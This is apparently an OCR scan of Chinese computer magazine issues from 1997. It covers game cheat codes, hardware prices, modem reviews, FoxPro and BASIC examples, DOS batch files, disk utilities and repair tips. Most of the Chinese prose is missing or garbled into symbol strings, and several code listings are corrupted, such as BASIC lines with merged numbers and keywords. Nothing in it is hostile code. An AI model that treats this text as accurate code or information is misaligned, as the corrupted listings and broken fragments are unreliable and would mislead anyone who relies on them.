! ES-680 5 800 "
.57.



7

1.Blood & Magic

“ALT" Nogluses

3.Blood 3D realms GT In-

teractive,  Duke3D the Build engine
FOG? WHAT FOG? .o
BOOST 300 T
ELMINSTER mpkfa — i wanna be like kevin —
ACOLYTE B Golem voorhees — nocapinmyass —
FATHER Cleric capinmyass — lara croft —
WOLVERINE Druid idaho — montana —
GREMLIN Enchanter bunz - Guns Akimbo spork — 200%
FATAL ATTRACTION Fury griswold - 200% keymaster —
FLYING MONKIES Gargoyle funky shoes — satchel —
RAISE DEAD Ghoul onering — calgon —
ALASKA Gnome mario — goonies —
JARETH Goblin kevorkian — megee —
CONCRETE Stone Golem krueger — 200%
MERV Griffin rate jojo -
BODY GUARD Guardian
MICROSQUISH * Juggernaut CHEAT CODE
MOTHER IN LAW Harpy CHEATER KILL ITEMS 0
SEDUCTION Nymph
LANCELOT Paladin 4.Quake
YOGI Ranger st
NEEDS FOOD BADLY Warrior
MERLIN Wizard
SHADOW Wraith GOD IMPULSE1
SMOG Wyrm IMPULSE2 IMPULSE3
DEAD FLESH Zombie IMPULSE4 IMPULSES
ITEMXX 299 IMPULSE6 IMPULSE?7
CANDYGRAM 727 IMPULSES FLY
WOPPER 277 NOCLIP
QUARTERS 299 MAP ExMy X y NOTARGET
2. 2 5.WindWar

!golden boy :

the sun also riser:
TIGERLILY !pump an ahrn:
ORC x HUMAN x TIGERLILY X = Ithe great pumpkin :
1~ 14 !come all ye faithful:
GLITTERLING PRIZES lon a mission from gawd:
VALDEZ
DECK ME OUT 6.Diablo
EVERY LITTLE THING SHE DOES %
HATCHET ,AXE AND SAW ’
ON SCREEN
MAKE IT SO
IT IS A GOOD DAY TO DIE *

)
9

UNITE THE CLANS
YOU PITIFUL WORM
THERE CAN BE ONLY ONE
NEVER A WINNER @

Hatchet
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* X Empire Interactive  Flying Corps
MMX Multiplayer  3Dfx

Windows 95

* Kk Gravis

Sound Blaster

FM

synthesizer

Ultrasound Extreme

$ 169.95
Game  Ultrasound
Gravis GF1

ESS AudioDrive FM
SoundBlaster Pro

KKND Interstate76 ATF
Helicops

Computer Fan 1997 .5.

eyond the Dark Portal

Y& Blizzard Entertainmen
war-
craft
Warcraft Adventeures:
Lord of the Clans(
)

Some Early Character Skelches

Windows95 Mac
Internet
Yok Duke 3D 3D Realms
Shadow Warrior

) ¢ Tomb Raiders
CD Singles

Tomb Raider2 1997 11

Lara
Y% Activision Quake —_—
Mission Pack No.2 The Dissolution of Eternity(
) Rougue Entertainment
DeathM atch

% K Novalogic
8.6M B ftp:// ftp.novalogic

.com /pub/demos/c3demo .exe
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TE&H o 9 n
oy HMARKRD
B%T =R, @iF
FPHEWART
5tige 5 R
FBEFTREMRE
B B xpohid e &
@YPRYR? X R/ TE
EAEFRT,

FoXs

THEBEET, TEH AR R Ak
MHUEFERTEYWR

Rock
A

TEEU . XBAGYFER AT — B B aiBX
REHe
Car
<

XA/ 1917 T BFHFEIRETEIRAR?
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8~10

Computer Fan 1997 .5. .61.



demo
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Del”

“1011”

PC

AP P P PPN NP NP NP PP

“ Ctrl +Alt +

(%)
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T

MODEM
28.8KB/S MODEM MODEM
MODEM
MODEM
28.8KB/ S
14.4KB/S
CPU P166
Cyrix
10% Intel CPU
Intel 430HX
16M B ECC
2D 3D
3D
MIP Indeo,

MPEG, JPEG, CinePak, Ms - Video for Windows ,
Apple Quicktime

VRAM 17 (
.28) 4AMB 1280 % 1024
24
1280 * 1024 85Hz
(
) S3 64 968
VIRGE DSV 3968
DSV 3988 $400 S600
ET 6000 128
64
S3TRIO64+  S3 868
FIREBALL 1.7GB
PIO -4
4 4 4
GOLDSTAR 4
CPU
.64,

P100 AMD
Cyrix @
AWE
32 DSP
DSP
1.2GB @
32M B @
4 &
INTEL P100 @
15 1GB
Intel g
AMD Cyrix P100
1.2GB
14
P133 ]
Cyrix
16M B
SOUND BLASTER 16 PNP
WINDOWS 95 DOS 6.X
2K SOUNDBLASTER - 16 50K
(
) 16
( ESS ),
S3 VIREG
ATI ET
3D VR PC
PC ( )
1.7GB FIREBALL

SAMSUNG GOLDSTAR PANASONIC 38
( )

15 14
800 600
14
(&X%)
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INTEL

P 166 MHz MM X
CPU
AMD CYRIX

/@ ti. INTEL

K6 M2
P55C
D Intel
—_ INTEL
1997.4.6
“ MMX”
( () INTEL
CPU  Pro 200 5200 P 200 4200
P-MMX 166 3500 P 166 2050 cPu INTEL
P 133 1170 CY 166+ 1150 >% AMD - CYRIX
CY 150+ 990 AMD K5 133 640 5%
4MB EDO 175 SMB EDO 340
~5128HX 990 T2P4 1100 8MB EDO DRAM 320
VX 740 R6 680 ECC(
R9 HX 1060 2000HX 960 30%
HX 1030 VX 790
HX 930 VX 700
Seagate 1.0GB 1320 Seagate 1.2GB 1380 35 ~ 40
1.2GB 1370 1.7GB 1520
8 770 8 760
8 780 IBM 8 680
4 560 NEC 4 560
12 870 8 750
300 130 500 160 MMX o
140
Tr - 9680 190 Tr - 9685 380 MMX
GL - 5446 240 S3 64V + 190 430HX 430VX
Sony 165 Misumi 162 P55C 430T X 430EX 440LX
860 720
)
\ 1 2 3
UCDOS WIN9S Richwin
V - Foxpro V-C+ + Turbo CAD
CCED
MIS MIS MS
KV300
/
INTEL
AMD CYRIX ©
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ATM Intranet -E
. \BEEN -Modem Ml
Internet Svavavavavavs [ %F%RW//R%F%%R’J‘ :
7 8 “ Modem ?
Modem M odem ( Optima
BBS Modem )
Modem M odem T 3% 69 £ 25 A
Modem J~ &5 suh# 1
M odem Motorola Modem
U .S.Robotics AT & T Smartlink TIME
Accura Optima
Motorola U .S.Robotics
Hayes 70% Mo-
torola  30% U .S.Robotics
Modem Modem
NEESE
Modem
Win95
Hayes Accura
Hayes Win95 Modem
Modem
Modem
Hayes Accura 288B
DSVD Modem
Internet —— Modem V.27 V.29 V.17
Group3
Motorola
Modem “ ? Modem
Motorola  Hayes Win95
Modem Mo-
Motorola dem 60%
Modem
Motorola ik &
Motorola DMotorola Voic-
eSURFR 56kbps FTP
1 4 IMB
5

@M otorola PCM CIA Modem

.66.
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x

14.4kpbs M odem

28.8kbps Modem Hayes
486
28.8kbps  Modem
@®
Modem 14.4Kbps  9.6Kbps
28.8kbps M odem 115.2kbps
( 1 4) COM
UART
586
Windows 0S/ 1
921.6kbps
@ DOS
DOS CPU
Smartcom Il
28.8kbps Modem
2.
1994 Internet
Modem
ISP 1997
Internet Intranet Mo-
dem Modem
Internet
Mo-
dem
T I s B &
1.Hayes™ ULTRA™ ULTRA
ITU -T X.32 Smartcom Il

Computer Fan 1997 .5.

X.25 ULTRA 144 ITU -T
V .32bis 14.4kbps ULTRA ( Express96)
2400bps M odem 10
Express96 ITU -T V .42bis
25000bps
2.Hayes™ ACCURA™
ACCURA

ACCURA 144+ FAX 144(
) ACCURA 288 +FAX144 ACCURA 288 Mes-
sage Modem ACCURA 288B DSVD

/
Modem
ITU -T V.42 MNP2-4
ITU =T V .42bis
115.2kbps MNP5 ACCURA 288
ACCURA
3.Hayes"™
Internet
28.8kbps
Modem 19
Hayes™ —

“ noow ”

4. Hayes™ OPTIM "™ 288 144

Hayes ACCURA Mo-
dem Optima
Modem Optima 8 1
Optima 288 V .34 / /

230.4kbps Optimal44
115.2kbps Op-
tima 288 IM Optima
55
.67.
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ThEEH: “BRRX-ARELEGLGRA, &
P A E kI, @ E SRR S0
WELES, MPERE SALEEREAAM ., B
S, FRA 2 B R RS AT R F 5
AFRFINREIE, AL, 7T X —E e
B E BN TAERE AL B A E L
REMAIESF, A —ETAFE . RELF
RS RAEFGET, RAEFZAE, F ik
ARE A F R R A A T & AR A LR, T
AR AT B A .

A
BASIC C
AUTOCAD ARCVIEW ARC/
INFO
AUTOCAD 3DS EXCEL
WORD
AUTOCAD
LISP
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PCTOOLS DUP NORTON

KILL CPAV Vsafe KV 100
” (%75 . 35 K %)
D LA E3K)
F
CAD
QBASIC
CAD
Excel
Basic Turboc
TUHO Pascal Fortran C
Word
AutoCAD (L. 3Y)
AutoLISP “ ” 1] ”
G
(&ra:em))
E
Basic
DBASE [l
DOS DOS
(DOS) * i
FAT CRC
Windows3.1 UCDO0S3.0 “

CCED WPS WORD

.70.
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A

1997 2

(1) Turbo C 30%

(2) Basic 19%
(3)
Pascal 7.0 for Windows

" Turbo Pascal

(4)Foxbase Faxpro 45%
Foxpro
1. DEFINE MENU
2. DEFINE PAD
3. ON PAD
(POPUP)
4. DEFINE POPUP
(POPUB)
5. DEFINE BAR
(BAR)
6. ON SELECTION POPUP
(POPUB)
7. ACTIVATE MENU *

SET TALK OFF

SET ESCAPE OFF

SET STATUS BAR ON

*

SET SYSMENU TO

CLEAR

*

DEFINE MENU mainmenu

*

DEFINE PAD mypadl OF mainmenu PROMPT
MESSAGE " "

DEFINE PAD mypad2 OF mainmenu PROMPT "\ <2.
MESSAGE " "

DEFINE PAD mypad3 OF mainmenu PROMPT "\<3.
MESSAGE " !

"\<1.

Computer Fan 1997 .5.

Windows 3.2 *

DEFINE PAD mypad4 OF mainmenu PROMPT "\<4. "y
MESSAGE " ESC "

*

ON PAD mypadl OF mainmenu ACTIVATE POPUP mypopl
ON PAD mypad2 OF mainmenu ACTIVATE POPUP mypop2
ON PAD mypad3 OF mainmenu ACTIVATE POPUP mypop3
*

DEFINE POPUP mypop3

DEFINE BAR 1 OF mypop3 PROMPT "\ <A. "
DEFINE BAR 2 OF mypop3 PROMPT "\ <B. "
DEFINE BAR 3 OF mypop3 PROMPT "\ <C. "
ON SELECTION POPUP mypop3 DO subroute WITH
POPUP(),BAR()

*
ACTIVATE MENU mainmenu
* mainmenu

RELEASE MENUS mainmenu EXTENDED

Borland %
SET SYSMENU TO DEFAULT
PROCEDURE subroute
PARAMETERS mpop,mbar
DO CASE
CASE mbar =1

=SHOW (mpop,mbar,PROMPT ())
CASE mbar =2

=SHOW (mpop,mbar,PROMPT ())
CASE mbar =3

=SHOW (mpop,mbar,PROMPT())
ENDCASE
PROCEDURE getout
DEACTIVATE MENU mainmenu
FUNCTION SHOW
PARAMETERS npop,nbar,nprompt

WAIT " "WINDOW TIMEOUT 10
RELEASE WINDOWS win
RETURN
425006
1997 (6 )
1997 5
AREX:
(1)
(2
Foxpro
. Internet
ABAEBH 1997 6 30
: 3 3 M 1k 48 100081
" 5
E —mail:cfan @netchina.co.cn
71,




5

486DX2/66

Invalid drive specification”
‘ Invalid drive specification”

FDISK
DM C

Command .com
COMSPEC
Command.com 0
Autoexec.bat COM-
SPEC SET COMSPEC = C:\SUCOM\COM-
MAND.COM CONFIG.SYS SHELL
SHELL =SUCOM \COMMAND.COM

486DX 66/100 8M
UMB RAM
UMB RAM
UBM RAM
EMM 386.EXE
C600H ~ F7FFH
UMB RAM

MEMMAKER
UMB
RAM
RAM MSD
CO00H - C5FFH
CONFIG.SYS DEVICE =
C:\ DOS\ EMM386.EXE I = C000 — C5FF
) 24K ~ 32K
UMB RAM EMM386.EXE UMB RAM
64K EMS UMB RAM
CONFIG .SYS DEVICE =C:\
DOS\EMM 386.EXE FRAME = NONE
64K UMB RAM
EMS

MEMORY

HD - COPY IMG

HD - COPY

.12,

PVT LEO ) BIOS
PVT  Award BIOS BIOS

BIOS FEATURES SETUP

SWAP FLOPPY DRIVE
ENABLE A B
DISABLE
A B
Assign
Assign A: =B:
B Assign
Assign  Dos 6.0
FLYFISH
(1)
(2)
( IBM COMPAQ )
(3)

CPU CPU

CPU CPU
CPU CPU

(4) 286 386
CMOS
CMOS CMOS

(3)
( 286-486 )

(2)
(3)

s EAFE 1997 5.



1R 1% 4= 15 F8)E 2L

3.
(200 ) 5
! n OH n Oll n 1l|
Hlll )
- 4.
RIRIC T 9 20
1.
2
5.
400~ 600 /
« » .. ’
o] ¢ L X -
ﬁU'Tj',u Z‘S:Fﬂéfxﬁ Z‘S,Hﬂliﬁsﬁ
4 “
1.
2. s
21
DOS & WIN
16 320 28
1993 - 1996 1997 6
1993 - 1996 1993 - 1996
48
100081
10%
16 480 38

Computer Fan 1997 .5.

.73.




16
config .sys
CAl
DOS Unix CCED
WINDOWS95
FoxPRO

.74.

5.0

¥ 150

¥ 120

DOS DOS

¥80

WPS
FoxBASE

¥ 08

¥ 08

¥78

| S S R

200

¥78
¥ 08
10 900
¥ 08
¥78
$8 ks RhTHABLRA
cD
RPG
1997
¥ 128
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(LH)

ject Oriented)

Java
C+ +
32
Java
Java
Java
Java
Java
Java
?

Computer Fan 1997 . 6.

90

Visual Basic

WWW

(00 - Ob-

16

(byte — code)

Java

Java

Java

Java

Java

? Java
(Java )
Java
Java
Java
Java
Java
Java
1996 5 29 JavaSoft JavaOS——
Java
JavaOS  Java

Java

JavaSoft Sun Microelectronics Pi-
coJava MicroJava UltraJava PicoJava

Java

MicroJava UltraJava PicoJava

Sun Microeletronics
Java Java API(Java
)
1996 11 Sun Java station Sun
Java NC Java
Java

Java station CD - ROM Micro
SPARCII CPU 8MB  64MB
Internet Intranet

PC
Java station

Sun



pis

“

JavaSoft 2 pPC Sun Sun
Java for DOS PC Java ?" “ Sun
MS - DOS 486 Java !
Java
Java
pPC
“ All is Mine” ? Java
Word  Excel Java
Office Apple DEC IBM Netscape Novell — SGI
Java
Word Word 5.0 6.0 Microsoft ~ IBM Internet
7.0 Java
Office Suite Apple HP IBM Novell SGI SCO  Tandem
Java
Office Acer Mitsubishi Nokia Oracle  Toshiba
JavaOS
? Borland Corel ~ Symantec JavaOS
Fujitsu  National Semiconductor
Intel CPU  Microsoft JavaOS
Java
300MB 1GB
Microsoft  Netscape
Java Internet
Internet Java ActiveX VBScript WIN9S
Windows 97 Windows NT 4.0
Netscape
Internet WWW Web
WWW Wintel NC
Java  NC
NC
IBM Sun Oracle Netscape
? ?
Wintel “ !
Wintel NC
Wintel NC
NetPC Intel Windows
Wintel NetPC
Internet Java NC
WWW HP Compaq DELL DEC GateWay 2000
“ Java Internet ~ Web PackardBell - NEC TI pPC
Java ! (F#% 73 1)
. 10. R H 1997 . 6.



Pentium Pro 1 5 8  Intel
MMX Pentium Pro 1l PC s MAC
MMX 233MHz 266MHz
300MHz 233MHz 5 266MHz 9
PC 5 8 Intel
Office 97
Office 97 M6 233/266,
5 Word M6 233/266 Win95
97 Excel 97 Power- 4 11
Point 97 1997
Outlook 97
Access 97  Office 97
Internet HP VECTRA PC
Intranet /
“ Office 97 !
5 4000 HPLaserJet
6L 6
>0 fntel HPJaserJet5L 50%
18
6000
IBM PC IBM
PC300GL 133MHz
4 166MHz 256KB
D - Link D - Link SDRAM SMB 16MB
128MB  PC300GL Wake —
On-LAN 10 Base T
4 28 6 18
486 456 DIGITAL PC DIGITAL PC '97
200—300 QDIS86 PC
Venturis FX -2 Celebris FX -2
Windows NT 4.0
‘ " HiNote VP500
12X CD - ROM
24 10
ENIX
81 ENIX “ ENIX GAME SOFTWARE
1000 CONTESTII" ENIX
8000 900
1000 100 i} 40
O 4 SGl
I Intel Intel Pentium SGI Internet/ Intranet
SGI
1 Internet / Intranet
Computer Fan 1997 . 6. 1L



BASIC

10 10

I0LETA=5
30 END
20 PRINT A
20
ISLETB=3
251IETC=A+B
27 PRINT "C="; C
LIST

I0LET A=5
ISLETB=3

251ETC=A+B
27 PRINT "C="; C

30 END
10 15 25 27 30
RENUM,
10 20 30 40 50
RENUM  RE NUM

number

L12.

10 LET A=5:LET B=3:LETC=A+B
20 PRINT "C="; C

30 END
DOS5. 0 QBASIC
BASIC
2.
ABC Al Bl B2 B3
G(L])
A=3 A=5
A(D), G(LJ) =5
A

A(1),A(2),A(3),A(4),A(5)

$ BASIC

10 INPUT NAMES$, TEL, ADD$
20 LPRINT NAMES$, TEL, ADD$
30 GOTO 10

NAMES$ ADD$

10

64213605

20
30 10

26

RS E 1997 . 6.



10 5 LET
4 LET .o
20 A,B,C,D,E 5
T 30 “T=",
29 40
50 1
4.
INPUT
10 CLEAR
20 INPUT A
30 LETT=T+A
40 LPRINT T
50 GOTO 20
10 ‘ ,
20
10 T
3, T+A=0+3=3 LETT=T+A,
T “ ” 3 40
T 50 20
A, 8 A=8
T=3, A=8, T+A=3+8=11
T+A LETT=11 30 T
” 11 40 T
11 50 20 20
2
INPUT
5.
10 CLEAR

Computer Fan

10

382412

10 LETA=3:B=8:C=2:D=4:E=12
20LETT=A+B+C+D+E

30 PRINT "T="; T
40 END

INPUT

READ/DATA

20 READ Al, A2, A3, A4, AS
30 LET T=A1+A2+A3 +A4 +AS

1997 . 6.

LETT=3

60 T=T+A(I)
70 NEXT I
80 LPRINT "T ="; T
90 END
100 DATA 3,8,2,4, 12
10
5 BASIC
(0) A
N 40 4 5
DIM A(N)
0~4 5 *° ” A
5 30 DIM(N)
40
I 1 234
5 20
40 FORI1=0TO N
50 I
(3), A(4), A(5)5
A 30 A(N)
50 A(N) N=5
(5) =12 N 60
30
5
1000 20

40 LPRINT "T="; T

50 END
60 DATA 3.8,2,4,
DATA

12

CLEAR

10 CLEAR

20 INPUT "N ="; N
30 DIM A(N)
40FORI=1TON
50 READ A(1)

LET

A(1), A(2), A
50

13,



DOS WPS CCED
Windows Word Excel

“ nou

. 14.

Windows3. 1

n o«

Excel5. 0

Excel

Excel

W R AT E 1997 . 6.



nu MS -DOS 5.0
) “ MIRROR”
1. .0 'DI MS - DOS 5.0
b
: DOS
*“ “ MIRROR. COM”
2. ) MS - DOS6. 20
| =
C: \> FORMAT A: /S ——y DOS
=7
m . “ MIRROR. CO_"
C:\> DIR/A A: § DOS
-H ¢ " ”
]q= Y EXPAND DOS
ol B §
MS - DOS 6.20 4 DOS
f== § DOS
[ — & . ,
10. SYS e 2 MIRROR. COM
MSDOS. SYS zn §
COMMAND. COM =3 (s “ EXPAND”
DRVSPACE. BIN EEEL %
’ A: \> EXPAND  MIRROR. CO_
. C: \DOS\MIRROR. COM
DOS
3. COPY CONFIG. SYS 7 C
AUTOEXEC. BAT
C: \> MIRROR
DIR/A
MIRRORSAV. FIL,
4. COPY DOS EDIT. COM MIRROR. FIL

QBASIC. EXE FDISK. EXE FORMAT. COM UNFOR-
MAT. COM UNDELETE. EXE SYS. COM

5. COPY WINDOWS WIN. INI
SYSTEM. INI WIN-
DOWS WIN. INI WINDOWS
SYSTEM. INI
WINDOWS DOS
CONFIG. SYS WINDOWS
WINDOWS WINDOWS
6.
. 16.

C: \> MIRROR /PARTN

PARTNSAV. FIL

A: \> UNFORMAT C: /PARTN
MIRRORSAV. FIL
MIRROR. FIL
MIRROR

8. 500KB
PCTOOLS 5.0 168KB
ARJ 2.42B 120KB  NOR-
SYSCHK

HD - COPY 2.0 46KB
TON 6.0 NDD 162KB
2.41 133KB QAPLUS 4.52 258KB

©

W R AT E 1997 . 6.



ARJ
/S

ARJ [ 110 10

ARJ [ I
I
I
ARJ [ I
Il
[ 1 a(
x(
[ I =
—va(
C \ Tools
TOOLS. ARJ
. ARJ )

DIR  C \ARJ. EXE

I 30%
ARJ
arj a —r —va a: \tools. arj c: \tools\ * . *
Y
11 Tools. ARJ
] Tools. AO1 Tools. A02
C ( MD ZYC)
ARJ
) arj x —va a \tools. arj ¢ \zyc
) Y
) A0l AO2 Y
)
A ARJ ARJ/
(ARJ
©

WORD

WINDOWS
~ wra000x. asd
~wrc000x. tmp
124
WORD

Computer Fan 1997 . 6.

PHOTOSHOP #l 3DS
MRHBENRE

U
PHOTOSHOP3.0  8MB

/ / PHOTO-
“ CTRL +8" * SHOP
(m" - (0)”
(8)” 2~10
WORD 3DS DOS 3DS
3DS WIN \
WIN 3DS
WIN 3DS?
Temp SYSTEM. INI [386ENH]
DEVICE = C: \ 3DS4\ PHARLAP. 386 3DS. PIF
! 3DS. PIF
. doc” WIN 3DS ALT + ESC WIN
© @
17,



A AR MR8

UJ
( Qedit V2.51 )
! !
Qedit
(.exe .com) (
Pklite, dict liexe )
get. exe
UNP4. 10
( ) UNP QEDIT. EXE
Qedit. exe
6—25
Q. txt get gedit. exe q. txt
please enter Mini Char(> =4 DEFAULT =10) (
4 10)
6
q. txt
total 210 strings( 210 )
q. txt
q. Ixt
1. q. txt
2. {1
{1}
3. {DFILE NOT
FOUND} ‘D"
{D }
4. q. txt
EDIT WPS N

5. No/Yes/Only/Whole
Qedit
NYOW N— Y—
0— W—
“No/Y /0 /W "( No
“ N ) “o,
Y "
q. Ixt
put q. txt qgedit. exe qed-
it. exe qedit. ~xe qedit. exe
! qed-
it. exe
q. txt qedit. ~ xe qedit. exe
qedit
(
qedit. exe ) 7
89 10
!
{ALL Rights
Reserved } { } {
X X X } Pklite
BACHT A A R AC G IR S
©
1. WPS
WPS %
‘ (Y/N)?"
“ oy
DIR
( 1024 ) WPS
FOXBASE MODI COMM WPS

FILE1. WPS  WPS
MODI COMM FILEL. WPS

WPS

W R AT E 1997 . 6.



FoxBASE  FoxPro

X1 X2
& k DISP NEXT 10
K= DISP NEXT
10" & & k DISP
NEXT 10 GO TOP
K= GO TOP”
K
& k k= x %" & k
Cul +Y
*
IF- F ENDIF “ "
“ "y 5
2. FoxPro
NOVELL
FoxPro
FoxPro  USE
USE
“ i PCTOOLS
FoxBASE
FoxBASE ( FoxPro
FoxBASE )
FoxPro
©

Computer Fan 1997 . 6.

STEP ON

DO WHILE -

IF

ELSE

ENDIF

ENDDO

SET
SET ECHO ON

NOT- EOF()

IF

1 WATIT

REPLACE ALL

it

1111

WAIT 22227
IF

GO TOP

.19,



miws—%H wps X H#

O

C: \UCDOS
UCDhOS WPS
WPS
WPS
WPS

WPS

WPS. BAT

@ echo off

c:

cd\data \wps - file
call c¢: \ucdos \ucdos. bat

C: \BATCH

¢: \ucdos \wps. com
¢: \ucdos \quit. com
c: \dos\mode 80
cd\

cls

DOS
ucbos

mode = 80

WPS

WPS
c: \data \wps — file

C: \UCDOS

WPS

WPS

c: \batch; "

WPS

WPS

WPS
WPS

©

70):@10_

O
dBASEI dBASE
FoxBASE dBASE
FoxBASE
FoxPro
?
(
) FoxPro FoxBASE
dBASE  FoxBASE
FoxPro ?
FoxPro?

— b kL Ay i R Ay L, A B AR
T — e 52 5] B ) FoxPro 89 303, e btk , 518
A A F) 6 R A Ak A R 28 3], R F LS
B, MEARVCZALRNEFRETHEE, R
G XK R—RZR, RERAG, BH4HRE651E,

Bir BREG—A LB

O

Computer Fan 1997 . 6.

VCD

A DOS

0
1 DOS “ . BAK"
» “ » “ BAK”
ABC. WPS
ABC. WPS ABC. BAK
ABC. WPS UNDELETE  PCTOOLS
ABC. WPS REN ABC. BAK ABC. WPS
2.
—_— 1AH TYPE
DOS
TYPE
©
.21,



&

— A 2 & btk 32 x 44

DOS

DOS
. BAT

DOS
DOS

C:\ SMQ

C C: \SMQ
CCED

SCC. BAT
C:
CD\SMQ
C: \CCED\CCED %1 %2 *.WPS
CD\

“sce 1

2" SCC
* . WPS
CCED C:\

DOS
C: \ AUTOEX-
EC. BAT

PR Y S X NN

1.
EDIT
WPS CCED
2.

. BAT DOS

COPY DEL
*.COM *.EXE

.22,

DOS
*.COM  *.EXE
3.
DOS
%0~%9 “ %"
AA%
. WPS AA% % . WPS
Z st A TF 44
DOS
DOS
9
1. ECHO

ECHO [ON | OFF | message |
ECHO

ECHO ON
DOS E-
CHO OFF
ECHO message
ECHO

ECHO OFF
ECHO OFF”
@ @ E-

CHO OFF
2. REM
REM [ comment |
REM

comment

123

ECHO
OFF

ON

ECHO ON REM

REM

Config. sys
3. PAUSE

PAUSE [ message |
PAUSE
ECHO ON
message ECHO OFF

" press any
key to continue
121
PAUSE

message

REM

: START
ECHO OFF
ECHO A
PAUSE
FORMAT A:
GOTO START

Cul +C
4, SHIFT
SHIFT

10 %0 %

SHIFT

aa bb cc dd ee
SHIFT

bb cc dd ee ff
%0
% 1 %2

% 1

% 0

5.1F

W R AT E 1997 . 6.



(D TF [NOT] errorlevel number command
@ IF [NOT] stringl = = string2 command
@) IF [NOT] exist filename command

IF

DOS
@D errorlevel
DOS
number
DOS
0 0
errorlevel

IF ERRORLEVEL 1 GOTO WRONG

GOTO END
: WRONG
ECHO

: END

@

IF %1 = =Song ECHO HELLO,

Minqiang!
®
GOTO
6. GOTO
GOTO label

GOTO

label I 1-8
Computer Fan 1997 . 6.

DOS

@ ECHO OFF

IF EXIST %2 GOTO YELLOW
IF NOT EXIST %1 GOTO BLACK
REN %1 %2
ECHO % 1
GOTO END
: YELLOW
ECHO
GOTO END
: BLACK
ECHO
GOTO END
: END

7.FOR IN DO
FOR % % variable IN

DO command [ command — parameters |

90 2

%2

%0 1

(set)

% % variable
% %
%
set
()
FOR % %D IN (A. TXT,

B. TXT, C. TXT) DO TYPE % % D

DOS DO
FOR
IN DO
8. CALL
CALL other. bat
CALL DOS6. 0
UCDOS
UCDOS. BAT
RDI16

KNL

RDPS

PY

CALL WB

CALL C: \ZRM\ZRM. BAT

9. CHOICE
CHOICE[ /Cl: lkeys] [ /N][/
SI[/T[: le, nn] [TEXT]

CHOICE DOS6. 0

/C [:] keys

/N
/S

/Tl[: le, nn nn
¢
TEXT
DOS CHOICE
er-
rorlevel
errorlevel 1
2
CHOICE
RORLEVEL

IF ER-

@ echo off

choice /c¢: 12 /11,5 1 = UCDOS 2 — WIN-
DOWS

if errorlevel 2 goto win
if errorlevel 1 goto ucdos
: ucdos

call ¢: \ucdos \ucdos. bat
goto end

: win

c: \windows \win

goto end

: end

/e 12 1
2 /tl, 5 5

DOS

.23,



TTE
DOS C Sl
“ o
16 ot <10 11"
“ 10
1.TTE * ?
TTE CI:' ‘o ‘o
README. TXT @ no t~10”
README. EXE TTE
TTE README. TXT REAME. EXE K
TTE README. TXT “ ”
?u ~b2 ~te ~b0 ~ta ~b8 ~
2. tc~11 ~u ~u~10
(1)TTE !I:g_] (4)
g |«
(0~9)—
(0= B
(A~7)— %g “ PgUp”
(2) o~y
TTE l l E 3 “ PgUp”
“oac? ?
HE]
o “ ~bl~tf a 4 END
TTE « 1 HOME 5 1
” 2 1 6 PgDn
“ “ e 3 PgUp 7 ESC
A (5)
“ om “ _pr “ o ~ac ASCII
Co o “ ~bl~uf” ~an ASCIT
~S
. ~r (
' )
0 4 8 ¢
| 5 9 q 1 TTE UNTTE
2 6 a o 2. TTE TTE. EXE  TTE
3 7 b EXE
(3) 3.
~Uu
©
.24 R 4FH 1997 . 6.



IREERI S XSRS

]
1997 3
1 C
FORMAT. COM
XCOPY. EXE CHKDSK. EXE
2.
C C \ DOS\
C C XCOPYC D /S C D
DIR HIMEM. SYS
SMARTDRV. EXE(C )
C 3. PCTOOLS C
EB 00 FORMAT C /S
C C C XCOPYD C /S
C (C ) FORMAT
D /Q D
C NDD  SCANDISK C
NDD DOS SCANDISK DEFRAG
CHKDSK ©
20
I =
O]
Tab
Norton Commander 5. 0( NC 5.0) [OK]
[ Test]
NC 5.0 DOS 1
DOS 99
NC 5.0 “ Savers. exe”
NC 5.0
NC 5.0 F9
" Command” “ C()nfiguration" ©

C "
Screen Saver

Computer Fan 1997 . 6. .25.



31O N ORERY

REGFFRET AR %
(1)
( )

CD

10

. 26.

©
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%, 1% 1T B A 4 4 69 45 1P
]

— It RS e R R (KR A

2 486DX2/80

CPU ROMBIOS RAM  CPU
ROMBIOS ROMBIOS
RAM
4 —TRAM
( RAM

3 386SX/33

( ) “ Run
Cmos Setup”“ Press <F1> to RESUME"

CMOS
CMOS
CMOS

1 486DX2/66

)

U4(HM6311)
CPU ROM RAM

U1(741.8374)

= EG RS AR KM G4

. 28. i EAFE 1997 . 6.



4 Compaq 486

SYS. COM
" Insert System disk in drive x and strike any key when
ready”
SYS. COM
DOS SYS. COM
IBMBIO. COM IBM-
DOS. COM
( DOS )
SYS. COM
5 486DX /80
DOS I/
0( ) DOS
170
KV300 “ 2708"

Ay E ek et TR
AEA kA

Computer Fan 1997 . 6.

SET
CMOS
6 AST 486/33S
7 M1724
M1724
0. 6mm
( )
1 0.5 (
8 386SX /33
RESET

CMOS

RESET

TH3L20

RESET

RE-

. 29.



Comput- 44
er fan
5
386
TVGA
6)
@®
HDD
HDD
RESET
BIOS
BIOS
BIOS
BIOS
BIOS
CMOS
SETUP (
)
controller failure” (HDD

DOS

* Invalid drive specification”
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C
&/ = 7?3
!
L]
“ HDD controller failure”
40 ?
@®
@)
“ HDD CON”
?!
“ HDD CON”
“ HDD controller failure” ?
“ HDD CON”
( HDD CON)
) “ HDD CON”
CPU (
)
?
CMOS
CMOS “cT
C \> !
“ HDD DIR
) OK!
“ o
DM C “ N
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- Defrag BIMASHI®?

N N S S S N N N S N N N N S N N N N N I S I SIS I IIIIIII)

L]
386 CCED
KILL KV300
CCED
CCED
OK
DOS 6. 22
UCDOS 5.0
?
DE-
FRAG. EXE
CCED
ucbhos 5.0 CCED
UCWIN 4.0
WIN-
DOWS 3.2
“OXXXX XXXX USER. EXE
0001: 107E" WIN-
DOWS
WINDOWS
! UCWIN
Computer Fan 1997 . 6.

WINDOWS < >
< >
<386 > ‘ :
“ =7 u " u
" “ "
) < >
WINDOWS
WINDOWS DOS
DOS SCANDISK C /ALL
DEFRAG C /F
WINDOWS
UCWIN
Defrag @
1997 4 P43
3
3
MB
MB -
C D E
630 230 400
850 213 510 127
1000 250 510 240
1200 250 510 440
1997 4 P41 Windows WIN. INI
WIN. INI [ Desktop]
IconTitleFaceName = [ ] ‘
IconTitleSize = [ ]
IconTitleStyle = [0 1] 0
“ o
1997 5 P19 WORD6.0
"0 0O "
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_N DISK144. DAT
~R X
200
~W100
-Q
A DISK144. DAT

2. FLP144. DBG

C > COPY CON FLP144. DBG
N DISK144. DAT
L 100

CMOS (;WIOO 001

c 7 CTRL 7 )
3, RUN144. BAT

A C > COPY CON RUNI144. BAT
DEBUG < FLP144. DBG
? "z
FLP144. DBG  RUNI44. BAT
HD - COPY
DOS 4. DISK144. DAT  FLP144. DBG
